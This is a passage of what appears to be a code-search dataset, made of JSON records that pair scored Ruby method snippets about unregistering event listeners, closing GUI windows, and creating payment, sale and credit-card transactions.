@fiber[:callbacks].delete self.method(:unregister_from_event_loop)\n end", "title": "" }, { "docid": "5fa46b067ef1dcf2a7ee1c1ed95875ab", "score": "0.53049225", "text": "def OnGuiServerClose ()\n # Empty\nend", "title": "" }, { "docid": "76992572209a5cf7e978462cf1f0b7e3", "score": "0.52882934", "text": "def remove_event_listener(object, event)\n Game.instance.remove_event_listener(object, event, self)\n @events.delete [object, event]\n if @events.size == 0\n @events = nil\n end\n return \n end", "title": "" }, { "docid": "78d54ae773f6ed2c1213fd39b92a9278", "score": "0.52696246", "text": "def unregister_observer(observer); end", "title": "" }, { "docid": "78d54ae773f6ed2c1213fd39b92a9278", "score": "0.52696246", "text": "def unregister_observer(observer); end", "title": "" }, { "docid": "68bd692c4261183f5acd7e707cb58d2b", "score": "0.52685124", "text": "def unload\n @handled_events.each {|e| game_state.manager(:message_queue).remove_listener(e, self)}\n end", "title": "" }, { "docid": "44b4793d93c30d54aded271f94c56573", "score": "0.5264524", "text": "def unregisterHook\n\treturn registerHook()\n end", "title": "" }, { "docid": "d466589c68afca589c70051c5135053e", "score": "0.525959", "text": "def unregister\n Neo4j.event_handler.remove(self)\n end", "title": "" }, { "docid": "d466589c68afca589c70051c5135053e", "score": "0.525959", "text": "def unregister\n Neo4j.event_handler.remove(self)\n end", "title": "" }, { "docid": "ab8c86bb099eb540093ec6beaa04291f", "score": "0.52515787", "text": "def unidle\n call_plugins(:unidle)\n end", "title": "" }, { "docid": "b957b84bfb8be8892931d3017a396caf", "score": "0.52484584", "text": "def destroy\n self.cleanTitle\n self.destroyInfo\n\n # Clean up the windows.\n CDK.deleteCursesWindow(@scrollbar_win)\n CDK.deleteCursesWindow(@shadow_win)\n CDK.deleteCursesWindow(@win)\n\n # Clean up the key bindings.\n self.cleanBindings(:RADIO)\n\n # Unregister this object.\n CDK::SCREEN.unregister(:RADIO, self)\n end", "title": "" }, { "docid": "12db0e5fcef6ade80eac920df9f0b6a0", "score": "0.52429295", "text": "def destroy\n self.cleanTitle\n\n CDK.deleteCursesWindow(@shadow_win)\n CDK.deleteCursesWindow(@win)\n\n self.cleanBindings(:BUTTONBOX)\n\n CDK::SCREEN.unregister(:BUTTONBOX, self)\n end", "title": "" }, { "docid": "9ae448eefcb4886f2a9f9f0e8c291c5a", "score": "0.523799", "text": "def hide\n\t\t@gtkObject.hide\n\tend", "title": "" }, { "docid": "4d37766c4a00a32cc7eba1d61046fc32", "score": "0.52324456", "text": "def unregister\n Global.item.delete(@name)\n\n # remove dependency\n if @dependencies\n @dependencies.each do |dependency|\n Global.__dependencies__.delete(dependency)\n end\n end\n\n # remove accessors\n name = @name\n Global.singleton_class.module_eval do |mod|\n remove_method(name)\n remove_method(\"set_%s\" % name)\n remove_method(\"%s=\" % name)\n end\n end", "title": "" }, { "docid": "9db7d533029373483465725b00fd4bb2", "score": "0.5230723", "text": "def unsubscribe(listener)\n registry = send(:local_registrations)\n registry.each do |object|\n if object.listener.equal?(listener)\n registry.delete(object)\n end\n end\n end", "title": "" }, { "docid": "cfcdc805caa295cf6b83ae8a01bba3ce", "score": "0.5225448", "text": "def unregister_from_system_events( frame )\n\t\tself.system_subscribers[ frame.sender_id ].delete( frame.conn_id )\n\tend", "title": "" }, { "docid": "aa24b69b59c3ce99a01518dcf33725bf", "score": "0.5219956", "text": "def on_window1_destroy(widget)\n\t\tGtk.main_quit\n\tend", "title": "" }, { "docid": "88334302cb28e8bdab81d6794bf94006", "score": "0.5218409", "text": "def fire_butler!\n @butler = nil\n end", "title": "" }, { "docid": "bf7092cb9f3cfa4e8a338bb4eab42085", "score": "0.5217864", "text": "def unregisterAll\n # The main tree\n @Controller.unregisterGUI(@TCMainTree)\n # The menus\n @Controller.unregisterMenuEvt(self)\n # The views menu\n @Controller.unregisterViewsMenu(self, @ViewsSubMenu)\n # The toolbars\n @Controller.unregisterToolbar(@ToolBar)\n end", "title": "" }, { "docid": "f5135488d44b9da5c7053de9f72c4226", "score": "0.52154183", "text": "def CloseWindow\n # Gtk::idle_remove(@idle_id)\n @window.destroy\n end", "title": "" }, { "docid": "74cb61c6083a84be43ee75f5db8033f0", "score": "0.5205318", "text": "def UnRegisterReceiver(cookie)\n @ole._invoke(15, [cookie], [VT_UI4])\n end", "title": "" }, { "docid": "a01aebd9ad5798561af84c51182cda17", "score": "0.52049273", "text": "def unload!\n event_handlers = @component.instance_variable_get('@event_handlers') || {}\n commands = @component.instance_variable_get('@commands') || {}\n buckets = @component.instance_variable_get('@buckets') || {}\n\n # Removing itself from the bot:\n bot = @hot_loader.bot\n event_handlers.values.flatten.each { |handler| bot.remove_handler(handler) }\n commands.keys.each { |name| bot.remove_command(name) }\n buckets.keys.each { |key| bot.instance_variable_get('@buckets')&.delete(key) }\n\n # Cleaning the ruby module:\n @component.remove_instance_variable('@event_handlers') rescue nil\n @component.remove_instance_variable('@commands') rescue nil\n @component.remove_instance_variable('@buckets') rescue nil\n @component.remove_instance_variable('@dependencies') rescue nil\n end", "title": "" }, { "docid": "879da5f8413086686eb1e685bd4ee8a5", "score": "0.519529", "text": "def abandon(listener)\n @listeners.delete_if {|l| l[:obj] == listener }\n end", "title": "" }, { "docid": "d3ac8648d0fc201440b835a592d7cbf2", "score": "0.5191228", "text": "def destroy\n CDK.deleteCursesWindow(@shadow_win)\n CDK.deleteCursesWindow(@win)\n\n self.cleanBindings(:BUTTON)\n\n CDK::SCREEN.unregister(:BUTTON, self)\n end", "title": "" }, { "docid": "9902ad54c42d0dea28dee4816362ade4", "score": "0.5188942", "text": "def clear_plugin(plugin)\n # TODO: Unregister event handlers?\n @plugins.delete plugin\n end", "title": "" }, { "docid": "e82780f597c3a86bf2177c463fe92e81", "score": "0.51792574", "text": "def unbind event\r\n # TODO check if event exists\r\n instance_eval \"undef on_#{event}\"\r\n end", "title": "" }, { "docid": "3ac9a28f0cd54c28efbe31eb2fed89bd", "score": "0.51734775", "text": "def unregister; end", "title": "" }, { "docid": "660a4378f6cb33dc07fbb7820a305c3b", "score": "0.51636994", "text": "def destroy\n # Clean up the windows.\n CDK.deleteCursesWindow(@win)\n CDK.deleteCursesWindow(@shadow_win)\n\n # Clean the key bindings\n self.cleanBindings(:DIALOG)\n\n # Unregister this object\n CDK::SCREEN.unregister(:DIALOG, self)\n end", "title": "" }, { "docid": "660a4378f6cb33dc07fbb7820a305c3b", "score": "0.51626104", "text": "def destroy\n # Clean up the windows.\n CDK.deleteCursesWindow(@win)\n CDK.deleteCursesWindow(@shadow_win)\n\n # Clean the key bindings\n self.cleanBindings(:DIALOG)\n\n # Unregister this object\n CDK::SCREEN.unregister(:DIALOG, self)\n end", "title": "" }, { "docid": "862cc6a06b125a8b5729ffebaad65498", "score": "0.51423293", "text": "def unload\n unbind!\n nil\n end", "title": "" }, { "docid": "614c799dc235ac837cf9b839f6581c20", "score": "0.51356083", "text": "def unregister_component(name)\n @components[name].proxy = nil\n end", "title": "" }, { "docid": "6d7f63fe044951863ec7c1caff463212", "score": "0.51332337", "text": "def onstatechange_unregister(b)\n @onstatechange_list.delete b\n end", "title": "" }, { "docid": "6d7f63fe044951863ec7c1caff463212", "score": "0.51332337", "text": "def onstatechange_unregister(b)\n @onstatechange_list.delete b\n end", "title": "" }, { "docid": "ace64b42b3f6d5b76e4fc2d29059e876", "score": "0.5128709", "text": "def UnRegisterReceiver(cookie)\n _invoke(15, [cookie], [VT_UI4])\n end", "title": "" }, { "docid": "d43a867b619e8c4021a518af99e92e5c", "score": "0.5127828", "text": "def stop\n\t\t#framework.events.on_ui_stop()\n\t\tsuper\n\tend", "title": "" }, { "docid": "ee901ab420cf84e37799705ae574f54c", "score": "0.5119373", "text": "def unload\n capnotify.delete_component PLUGIN_NAME\n end", "title": "" }, { "docid": "d483545b537b74661f9f6eaec0e7e02f", "score": "0.5116953", "text": "def shutdown\n @logger.debug 'Shutting down'\n unregister_callbacks\n @mouse = nil\n @logger.debug 'Shutdown'\n end", "title": "" }, { "docid": "1b5a31df6f5872241c56219789e723fa", "score": "0.51149523", "text": "def deregister(id)\n @callbacks[id.signal].delete_if{|i, _c| i == id }\n end", "title": "" }, { "docid": "4b32f1f3b57fcb3f03dd3e2b4b3cec59", "score": "0.5106953", "text": "def remove_handler( io )\n\t\trval = @handles[ io ][:handler]\n\t\t@handles[ io ][:handler] = nil\n\t\tself.remove_args( io )\n\t\treturn rval\n\tend", "title": "" }, { "docid": "4b32f1f3b57fcb3f03dd3e2b4b3cec59", "score": "0.5106953", "text": "def remove_handler( io )\n\t\trval = @handles[ io ][:handler]\n\t\t@handles[ io ][:handler] = nil\n\t\tself.remove_args( io )\n\t\treturn rval\n\tend", "title": "" }, { "docid": "6d031663b2b6b360613938d6ec497a52", "score": "0.505695", "text": "def unbind\n EventMachine::stop_event_loop\n end", "title": "" }, { "docid": "fe6ed45873f08f77d77ea1993e52206f", "score": "0.50535214", "text": "def unregister_worker\n run_hook(:before_unregister_worker, self) \n unregister_worker_without_before_hook\n end", "title": "" }, { "docid": "fe6ed45873f08f77d77ea1993e52206f", "score": "0.50535214", "text": "def unregister_worker\n run_hook(:before_unregister_worker, self) \n unregister_worker_without_before_hook\n end", "title": "" }, { "docid": "d174aab62f620d287ccec974ed7cbcf5", "score": "0.50400215", "text": "def remove_busy_handler\n @api.busy_handler( nil )\n end", "title": "" }, { "docid": "3042eed34c2413b92d70b5813416f8df", "score": "0.50357515", "text": "def unregister_event(command)\n self.class.remove_event(command)\n end", "title": "" }, { "docid": "2e0a4acd534b7ad7833c07e187da5aec", "score": "0.5025639", "text": "def unregister_for_event(args)\n check_mutex\n @eventable_mutex.synchronize {\n event = args[:event]\n return unless @callbacks && @callbacks[event]\n\n listener_id = args[:listener_id] || args[:listener].object_id\n callback = args[:callback]\n @callbacks[event].delete_if do |listener, callbacks|\n callbacks.delete(callback) if listener == listener_id\n callbacks.empty?\n end\n }\n end", "title": "" }, { "docid": "33085cbb3afc50894470474d2bc00635", "score": "0.50218695", "text": "def close\n #$app = nil\n if Processing.online?\n JRUBY_APPLET.remove(self)\n else\n control_panel.remove if respond_to?(:control_panel)\n self.dispose\n self.frame.dispose\n end\n end", "title": "" }, { "docid": "dc82d6a1a8218e04d3c3bc4edd305489", "score": "0.5019835", "text": "def weechat_unload\n Weechat.unhook_all()\n return Weechat::WEECHAT_RC_OK\nend", "title": "" }, { "docid": "dc82d6a1a8218e04d3c3bc4edd305489", "score": "0.5019835", "text": "def weechat_unload\n Weechat.unhook_all()\n return Weechat::WEECHAT_RC_OK\nend", "title": "" }, { "docid": "db0ed9783ea7aa88926b6e32cdaac834", "score": "0.5018252", "text": "def onupdate_unregister(b)\n @onupdate_list.delete b\n DFHack.onupdate_active = false if @onupdate_list.empty?\n end", "title": "" }, { "docid": "db0ed9783ea7aa88926b6e32cdaac834", "score": "0.5018252", "text": "def onupdate_unregister(b)\n @onupdate_list.delete b\n DFHack.onupdate_active = false if @onupdate_list.empty?\n end", "title": "" }, { "docid": "8b6c400c88b5ceded5242f34ca134491", "score": "0.49976307", "text": "def deregister(io)\n @selectables.delete(io)\n end", "title": "" }, { "docid": "50b686a7440df5bd12bbabc93babdd53", "score": "0.49942037", "text": "def stop\n @last_args = nil\n @obj.remove_listener(self)\n self\n end", "title": "" }, { "docid": "d1e9376239b0ba3bb58f01788c404e88", "score": "0.49905595", "text": "def remove_input_client(object)\r\n @input_clients.delete(object)\r\n end", "title": "" }, { "docid": "0de172546bee8afe6fe32101626a43af", "score": "0.49629486", "text": "def __unwatch__(object)\n uuid = object.uuid\n @object_watch[uuid] or return\n Hoard.inotify.delete_watch(@object_watch[uuid])\n @object_watch.delete(uuid)\n end", "title": "" }, { "docid": "ba7ce095a1799d1681790c61d73043ac", "score": "0.49585113", "text": "def forget(window)\n Tk.execute(:wm, :forget, window)\n end", "title": "" }, { "docid": "d9597575859a37bf23a4dee755dd1aa5", "score": "0.49485648", "text": "def unregister_all\n @observers.clear\n if @timer\n UI.stop_timer(@timer)\n @timer = nil\n end\n end", "title": "" }, { "docid": "ea1884efc7d3608368643a4e519397f3", "score": "0.49341565", "text": "def unregisterMenuItem(iEvtWindow, iCommandID)\n @Commands.each do |iCommandID, ioCommand|\n ioCommand[:RegisteredMenuItems].delete_if do |iRegisteredMenuInfo|\n iMenuItem, iRegisteredEvtWindow, iCode, iParams = iRegisteredMenuInfo\n next ((iMenuItem.id == iCommandID) and\n (iRegisteredEvtWindow == iEvtWindow))\n end\n end\n end", "title": "" }, { "docid": "abfa4b3d1edf20e7439482614e5a5094", "score": "0.4932795", "text": "def unregister_observers(*observers); end", "title": "" }, { "docid": "1b80630585634bb569f52c1c0be6a6b4", "score": "0.49316686", "text": "def close\n $app = nil\n if Processing.online?\n JRUBY_APPLET.remove(self)\n self.destroy\n else\n control_panel.remove if respond_to?(:control_panel)\n @frame.remove(self) if @frame\n self.destroy\n @frame.dispose if @frame\n end\n end", "title": "" }, { "docid": "e11e470215a956bab136a2832ae4849a", "score": "0.49226913", "text": "def unloaded\n @megahal.quit\n end", "title": "" }, { "docid": "01bccab936e16877b4fd9652c03dd72b", "score": "0.49135423", "text": "def unregister_from_event_loop\n #puts \">>>>>unregister_from_event_loop #{self.inspect} #{@fiber.inspect}\"\n key = @fiber[:em_keys].pop\n if em_c = @fiber[key]\n em_c.detach\n @fiber[key] = nil\n true\n else\n false\n end\n end", "title": "" }, { "docid": "de7bed430dd401db38c47db57e8b109a", "score": "0.49083117", "text": "def onClose(sender, sel, event)\n $app.exit(0)\n end", "title": "" }, { "docid": "de7bed430dd401db38c47db57e8b109a", "score": "0.49083117", "text": "def onClose(sender, sel, event)\n $app.exit(0)\n end", "title": "" }, { "docid": "de7bed430dd401db38c47db57e8b109a", "score": "0.49083117", "text": "def onClose(sender, sel, event)\n $app.exit(0)\n end", "title": "" }, { "docid": "de7bed430dd401db38c47db57e8b109a", "score": "0.49083117", "text": "def onClose(sender, sel, event)\n $app.exit(0)\n end", "title": "" }, { "docid": "585acba7c2c72417aa0f46393f33c5ee", "score": "0.4906821", "text": "def stop_listening_to(io)\n listeners.delete(io)\n end", "title": "" }, { "docid": "e4668fb3005a70537d63aeaf41209d51", "score": "0.49048278", "text": "def uncheck\n # If we're already registered, reregister to initiate the unload.\n if @registered\n Sketchup.register_extension self, false\n end\n end", "title": "" }, { "docid": "83933327f60ef75aa17dc21f81a3aa7d", "score": "0.49025628", "text": "def unobserve(who=nil, symbol=nil)\n if who == nil\n raise \"unobserve was called without parameters when outside of an observer callback function.\" if !@observer_current_callback_who || @observer_current_callback_who.empty?\n who = @observer_current_callback_who.last\n symbol = @observer_current_callback_symbol.last\n end\n \n raise \"Nil observer.\" if who == nil\n raise \"Nil symbol.\" if symbol == nil\n who.observableattributes_remove_observer(symbol, self)\n end", "title": "" }, { "docid": "4e5a33adf344976743b94b6374e8e235", "score": "0.48933217", "text": "def remove_event_listener(object, event, callback_object)\r\n if @reload\r\n return\r\n end\r\n if !object\r\n log (\"Trying to remove event for nil object. #{event} #{callback_object.name}\")\r\n end\r\n key = object.uuid\r\n if @responders.dig(key, event)\r\n @responders[key][event].reject!{ |t| t[0] == callback_object }\r\n else\r\n log (\"Trying to remove event not registered in Game. #{object.name}, #{event}, #{callback_object.name}\")\r\n end\r\n if @responders.dig(key, event) && @responders.dig(key, event).empty?\r\n @responders[key].delete(event)\r\n end\r\n if @responders.dig(key) && @responders.dig(key).empty?\r\n @responders.delete(key)\r\n end\r\n end", "title": "" }, { "docid": "08de571dbd3a192b35b080941e078ec6", "score": "0.48886576", "text": "def onDestroy\n @window.hide\n\t\t#puts \"Fermeture fenetre\"\n #puts \"destroy menu\"\n\t\t#Quit 'propre'\n\t\t# @window.destroy JAMAIS SINON CA PLANTE\n\t\tGtk.main_quit\n\tend", "title": "" }, { "docid": "764388034022571a0d48f319d6a52b04", "score": "0.4888403", "text": "def unsubscribe(log_subscriber, event_component)\n ActiveSupport::LogSubscriber.log_subscribers.each do |subscriber|\n case subscriber\n when log_subscriber\n ActiveSupport::Notifications.notifier.listeners_for(event_component).each do |listener|\n ActiveSupport::Notifications.unsubscribe listener if listener.instance_variable_get('@delegate') == subscriber\n end\n end\n end\nend", "title": "" }, { "docid": "f05aff588f2a1362d6482089ca0a1eb8", "score": "0.48869306", "text": "def notify_closed(window)\n GtkUI[MM_WIN_PLAYER].active = false if window == @player\n GtkUI[MM_WIN_PLAYQUEUE].active = false if window == @pqueue\n GtkUI[MM_WIN_PLAYLISTS].active = false if window == @plists\n GtkUI[MM_WIN_CHARTS].active = false if window == @charts\n GtkUI[MM_WIN_FILTER].active = false if window == @filters\n GtkUI[MM_WIN_TASKS].active = false if window == @tasks\n GtkUI[MM_WIN_MEMOS].active = false if window == @memos\n\n @player.unfetch(window) if window == @pqueue || window == @plists\n end", "title": "" }, { "docid": "e3db9b5d4bc0705f3a9fd2ff0cdc14d8", "score": "0.48866454", "text": "def unregister(sig_callback)\n @@mutex.synchronize do\n registered.delete(sig_callback)\n\n # Remove the signal trap if no more registered callbacks exist\n Signal.trap(\"INT\", \"DEFAULT\") if registered.empty?\n end\n end", "title": "" }, { "docid": "c4615d8d7934b4fda898dc6bd513aa18", "score": "0.48852187", "text": "def off(event_name, listener)\n Array(events[event_name]).delete(listener)\n end", "title": "" }, { "docid": "e6f81ef24a0f8c1bd6c46e8040441970", "score": "0.48841122", "text": "def uncheck\n # If we're already registered, re-register to initiate the unload.\n if @registered\n Sketchup.register_extension self, false\n end\n end", "title": "" }, { "docid": "2e413613c13997f518476cc698833ffa", "score": "0.4876067", "text": "def quit_command()\n @subSceneScan.hide_windows()\n @target_enemy_window.active = true\n end", "title": "" } ]
c23ba7df968c80949ee973a3964e78ca
Creates a sale transaction for this credit card.
[ { "docid": "27a6a1ce677fd0ee46b5b8a7eed20aaa", "score": "0.77310145", "text": "def sale(transaction_attributes)\n CreditCard.sale(self.token, transaction_attributes)\n end", "title": "" } ]
[ { "docid": "d747e4deed25350f91fd28dcdc173e04", "score": "0.7733083", "text": "def create_sale(sale)\n Cielo::API30::Request::CreateSaleRequest.new(merchant, environment).execute(sale)\n end", "title": "" }, { "docid": "d747e4deed25350f91fd28dcdc173e04", "score": "0.7733083", "text": "def create_sale(sale)\n Cielo::API30::Request::CreateSaleRequest.new(merchant, environment).execute(sale)\n end", "title": "" }, { "docid": "a895d07e31dee1356057a914290c784e", "score": "0.7715653", "text": "def create_sale(sale)\n Cielo::Api30::Request::CreateSaleRequest.new(merchant, environment).execute(sale)\n end", "title": "" }, { "docid": "b37ca6540a6f28ade0f26cb9a18d99a0", "score": "0.69953585", "text": "def sale(money, credit_card, options = {})\n request_body = build_non_authorized_request('Sale', money, credit_card, options)\n request = build_soap_request(request_body)\n commit(request)\n end", "title": "" }, { "docid": "2a71405ca6e56b572ed62bea485cf6ce", "score": "0.69938415", "text": "def purchase(money, creditcard, options = {})\n post = {}\n add_invoice(post, options)\n add_creditcard(post, creditcard)\n add_customer_data(post, creditcard, options)\n add_amount(post, money, options)\n\n commit('sale', money, post)\n end", "title": "" }, { "docid": "bad63832fe495b54532a0f65663f538f", "score": "0.69418406", "text": "def purchase(cents, creditcard, options = {})\n requires!(options, :cred_type, :myid)\n commit('sale', cents, creditcard, options)\n end", "title": "" }, { "docid": "d04fc789c37584e0bfc48f3621a74d69", "score": "0.6836942", "text": "def purchase(money, credit_card, options={})\n post = {}\n add_credential(post)\n add_invoice(post, money, options)\n add_cc(post, credit_card, options)\n add_address(post, options)\n add_customer_data(post, options)\n add_item(post, options)\n add_misc(post, options)\n add_customer_mail(post, options)\n\n commit(:sale, post)\n end", "title": "" }, { "docid": "aa5a5625532a859b51fd66535a7e5a21", "score": "0.6829427", "text": "def purchase(money, credit_card, options = {})\n requires!(options, :email, :currency, :ip, :description)\n\n commit(build_sale_request(money, credit_card, options))\n end", "title": "" }, { "docid": "3e81816a885d68dd4f853b5da70b6f47", "score": "0.6769148", "text": "def create_payment_tx\n create_spend_tx @seller_address\n end", "title": "" }, { "docid": "4178bbb4ff8a989c9556bb232ab885b8", "score": "0.67534965", "text": "def purchase(money, creditcard, options = {})\n request_element = NewOrderRequestElement.new\n add_new_order_data(request_element, creditcard, options)\n add_commit_data(request_element, :sale, money)\n \n response_message = port_call do |port| \n port.newOrder(NewOrder.new(request_element)) \n end\n @response = parse_new_order_response(response_message)\n end", "title": "" }, { "docid": "6fa0de57d382a8bd1f8ae1ac9061de8a", "score": "0.6527373", "text": "def create_transaction(amount, creditcard, options = {})\n account = Recurly::Account.find(creditcard.gateway_customer_profile_id)\n\n transaction = account.transactions.create(\n :amount_in_cents => amount,\n :currency => preferred_currency\n )\n\n if transaction.errors\n message = transaction.errors.full_messages.join('. ')\n else\n message = 'transaction success!'\n end\n\n ActiveMerchant::Billing::Response.new(transaction.status == 'success', message, {},\n :authorization => transaction.uuid,\n :avs_result => {:street_match => transaction.avs_result }\n )\n end", "title": "" }, { "docid": "94146df6bafde7fd0d9681a112d05ea1", "score": "0.65273154", "text": "def purchase(money, creditcard, options = {})\n run_sale(options.merge!(amount: money, payment_method: creditcard))\n end", "title": "" }, { "docid": "9a0bb1f55382ecc5ca03a3d4ff76520c", "score": "0.64409614", "text": "def create(params)\n post = Api.default_post_for_params(params).merge({\n :orderid => params[:order_no],\n :amount => params[:amount]*100,\n :currency => Epay::CURRENCY_CODES[(params[:currency] || Epay.default_currency).to_sym],\n :description => params[:description],\n :cardholder => params[:cardholder],\n :group => params[:group],\n :instantcapture => params[:instant_capture] ? '1' : '0'\n })\n \n query = Api.authorize(post)\n \n if query['accept']\n # Find the transaction\n transaction = Transaction.find(query[\"tid\"].to_i)\n else\n # Return a new transaction with error code filled\n new(nil, {\n 'failed' => true,\n 'error' => query[\"error\"],\n 'orderid' => post[:orderid],\n 'authamount' => post[:amount],\n 'description' => post[:description],\n 'cardholder' => post[:cardholder],\n 'group' => post[:group],\n 'currency' => post[:currency]\n })\n end\n end", "title": "" }, { "docid": "a61013e84f24922b139bc050b07553e7", "score": "0.64130306", "text": "def purchase(money, creditcard_or_billing_id, options = {})\n parameters = {\n amount: amount(money)\n }\n\n add_order_id(parameters, options)\n add_aggregator(parameters, options)\n add_customer_data(parameters, options)\n add_payment_source(parameters, creditcard_or_billing_id)\n add_addresses(parameters, options)\n add_custom_fields(parameters, options)\n\n commit('sale', parameters)\n end", "title": "" }, { "docid": "55eed0ff0f10488f368cf93149014e21", "score": "0.6407297", "text": "def transfer_credits description, from_account, to_account, amount, document = nil\n transaction = @transaction_class.build({\n description: description,\n commercial_document: document,\n debits: [{ account: to_account, amount: amount }],\n credits: [{ account: from_account, amount: amount }]\n })\n transaction.save\n if @transaction_time_stamp\n transaction.created_at = @transaction_time_stamp\n transaction.save\n end\n transaction\n end", "title": "" }, { "docid": "47983819856d321060e9e530f314f13e", "score": "0.6389779", "text": "def create_transaction\n Transaction.new(@@decimal)\n end", "title": "" }, { "docid": "12aa00bbc8291c8019deaa879ed70a16", "score": "0.63713574", "text": "def create\n @transaction = Transaction.new(params[:transaction])\n @transaction.save\n r = Receipt.find(@transaction.receipt_id)\n response = EXPRESS_GATEWAY.setup_purchase(100, express_options(@transaction, r))\n\n redirect_to EXPRESS_GATEWAY.redirect_url_for(response.token)\n \n end", "title": "" }, { "docid": "c3fc6264a23237c09f78d98e852842f4", "score": "0.63358766", "text": "def create\n @deal = Deal.find(params[:deal][:deal_id]);\n \n \n \n sale_hash = {\n :purchase_date => DateTime.now,\n :total_amount => (@deal.price.to_f * params[:sale]['quantity'].to_f),\n :user_id => current_user.id,\n :quantity => params[:sale][:quantity]\n }\n @sale = Sale.new(sale_hash)\n \n success = nil;\n \n ActiveRecord::Base.transaction do\n success = @sale.save\n \n sale_detail = SaleDetail.new( { :sale_id => @sale.id , :deal_id => @deal.id } )\n \n success = success && sale_detail.save\n end\n\n respond_to do |format|\n if success\n format.html { redirect_to @sale, notice: 'Sale was successfully created.' }\n format.json { render json: @sale, status: :created, location: @sale }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n \n end", "title": "" }, { "docid": "ea57bb53615e7b105a1d6dbc0a53e0b4", "score": "0.63345367", "text": "def create_transaction\n Transaction.new(\n @bank,\n @certificates,\n player,\n [proceeds]\n )\n reduce_prices\n end", "title": "" }, { "docid": "dc1a63abdfb8bae55dd664db54a76ca6", "score": "0.63280874", "text": "def create(amount, data = {})\n amount = format_money(amount)\n data = FiveDL.build_params(data.merge!(amount: amount, transtype: 'sale'), true)\n FiveDL::Response.new( FiveDL::Gateway.post('/Payments/Services_api.aspx', data) )\n end", "title": "" }, { "docid": "b2a8306ef5ce61f30bfee450b4021bf3", "score": "0.6319616", "text": "def sale\n\n get_client_gateway_details\n\n Gateway::Braintree.sale.new()\n\n\n end", "title": "" }, { "docid": "1366036797c93a68b048b7a4956e30f5", "score": "0.6301709", "text": "def create\n @transaction = @account.transactions.build(transaction_params).decorate\n\n if @transaction.save\n redirect_to account_transactions_path, notice: 'Transaction was successfully created.'\n else\n render action: 'new'\n end\n end", "title": "" }, { "docid": "1366036797c93a68b048b7a4956e30f5", "score": "0.6301709", "text": "def create\n @transaction = @account.transactions.build(transaction_params).decorate\n\n if @transaction.save\n redirect_to account_transactions_path, notice: 'Transaction was successfully created.'\n else\n render action: 'new'\n end\n end", "title": "" }, { "docid": "c5404e0542831c219dfa2b0cf2844069", "score": "0.62771136", "text": "def purchase(money, payment, options={})\n post = {}\n add_invoice(post, money, options)\n add_payment(post, payment)\n add_address(post, options)\n add_customer_data(post, options)\n add_subscription_data(post, options)\n add_metadata(post, options)\n\n commit('sale', post)\n end", "title": "" }, { "docid": "b090fbd658ce9647192255a588b28e04", "score": "0.6246335", "text": "def create\n @transaction = Transaction.new(transaction_params)\n @transaction.card = get_card\n if @transaction.save\n @transaction.send_transaction_to_block_chain\n redirect_to wallet_path(@transaction.card.wallet)\n else\n render \"new\"\n end\n end", "title": "" }, { "docid": "506f9d6acc7223f6f9d6b63e27f52ac2", "score": "0.62085193", "text": "def create\n ActiveRecord::Base.transaction do\n params = sale_params\n @sale = Sale.build_from_sale_items(params['sale_items'])\n @sale.save!\n end\n\n respond_to do |format|\n if @sale.persisted?\n format.json { render :show, status: :created, location: @sale }\n else\n format.json { render json: @sale.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f6de8dca18f4e4f94d080ca69be95fb2", "score": "0.62067467", "text": "def generate_ledger_transaction\n\n is_new = _id_changed?\n if is_new\n\n transaction_label = I18n.t('ledger_transactions.auto_generated.payment', payment_form: payment_form.name, invoice_identifier: invoice.identifier, organization_identifier: invoice.organization.identifier)\n transaction = invoice.instance.ledger_transactions.build(transacted_on: paid_on, description: transaction_label)\n transaction.locked = true\n\n # Add debit for this transaction\n transaction.lines.build(account: payment_form.account, description: transaction_label, debit: amount)\n\n # Add a credit for this transaction\n transaction.lines.build(account: invoice.organization.organization_account, description: transaction_label, credit: amount)\n \n transaction.save!\n \n end\n \n end", "title": "" }, { "docid": "6ce5be4bdc43d93588cb779e7e06428a", "score": "0.6196237", "text": "def create\n @transaction = Transaction.new(transaction_params)\n @transaction.user_id = current_user.id\n\n @transaction.card_uri = params[:balancedCreditCardURI]\n\n if @transaction.save\n @campaign = @transaction.campaign\n number_to_send_to = '+919930443487'\n send_otp_code(number_to_send_to)\n redirect_to transaction_path(I18n.locale, @transaction.id)\n else\n render action: 'new'\n end\n end", "title": "" }, { "docid": "5954d23d971f5b9c7e5f8764eb0c573c", "score": "0.61837417", "text": "def create\n @transaction = Transaction.new(params[:transaction])\n @company = session[:company_id].company\n @securities = @company.securities\n @entities = @company.entities\n @sellers = []\n\n respond_to do |format|\n if @transaction.save\n format.html { redirect_to(transactions_path, :notice => 'Transaction was successfully created.') }\n format.xml { render :xml => @transaction, :status => :created, :location => @transaction }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a87f6defacff2ea54172aaaff9d3baf", "score": "0.617169", "text": "def purchase!(name, card_type, card_number, card_verification, month, year, ip_address)\n response = GATEWAY.purchase(price_in_cents, credit_card(name, card_type, card_number, card_verification, month, year), purchase_options(ip_address))\n\n Rollbar.info(\"Deposit#purchase! called\", deposit: self, user: user, name: name, ip_address: ip_address, price_in_cents: price_in_cents, response: response)\n\n pay! if response.success?\n\n payment_transaction = payment_transactions.create!(payer_email: user.email, action: 'purchase', response: response)\n return payment_transaction\n end", "title": "" }, { "docid": "c22b8890ad38d687768802afa9153d7a", "score": "0.6170587", "text": "def generate_transaction\n transaction do\n trans = user.purchases.create!(\n amount_in_cents: money_units,\n qty: volume_units,\n venue_id: venue_id,\n tap_id: tap_id,\n description: account_name,\n created_at: line_item_at\n )\n update!(user_transaction: trans)\n end\n end", "title": "" }, { "docid": "96cd1a837842a3e02f30cff9e6bd260b", "score": "0.61668426", "text": "def create\n\t\t@transaction = Transaction.new(transaction_params)\n\t\t@transaction.processTransaction(@transaction)\n\n\t\trespond_to do |format|\n\t\t if @transaction.save\n\t\t\tformat.html { redirect_to @transaction, notice: 'Transaction was successfully created.' }\n\t\t\tformat.json { render :show, status: :created, location: @transaction }\n\t\t else\n\t\t\tformat.html { render :new }\n\t\t\tformat.json { render json: @transaction.errors, status: :unprocessable_entity }\n\t\t end\n\t\tend\n\t\t\n\t\t#processTransaction(@transaction.account_id, @transaction.transferee_id, @transaction.amount)\n\tend", "title": "" }, { "docid": "4f655d5a92324ee00f3f6fefa89141ee", "score": "0.61546314", "text": "def create_refund_tx\n create_spend_tx @buyer_address\n end", "title": "" }, { "docid": "e5d1635441b43b845139c7e871500990", "score": "0.6147994", "text": "def 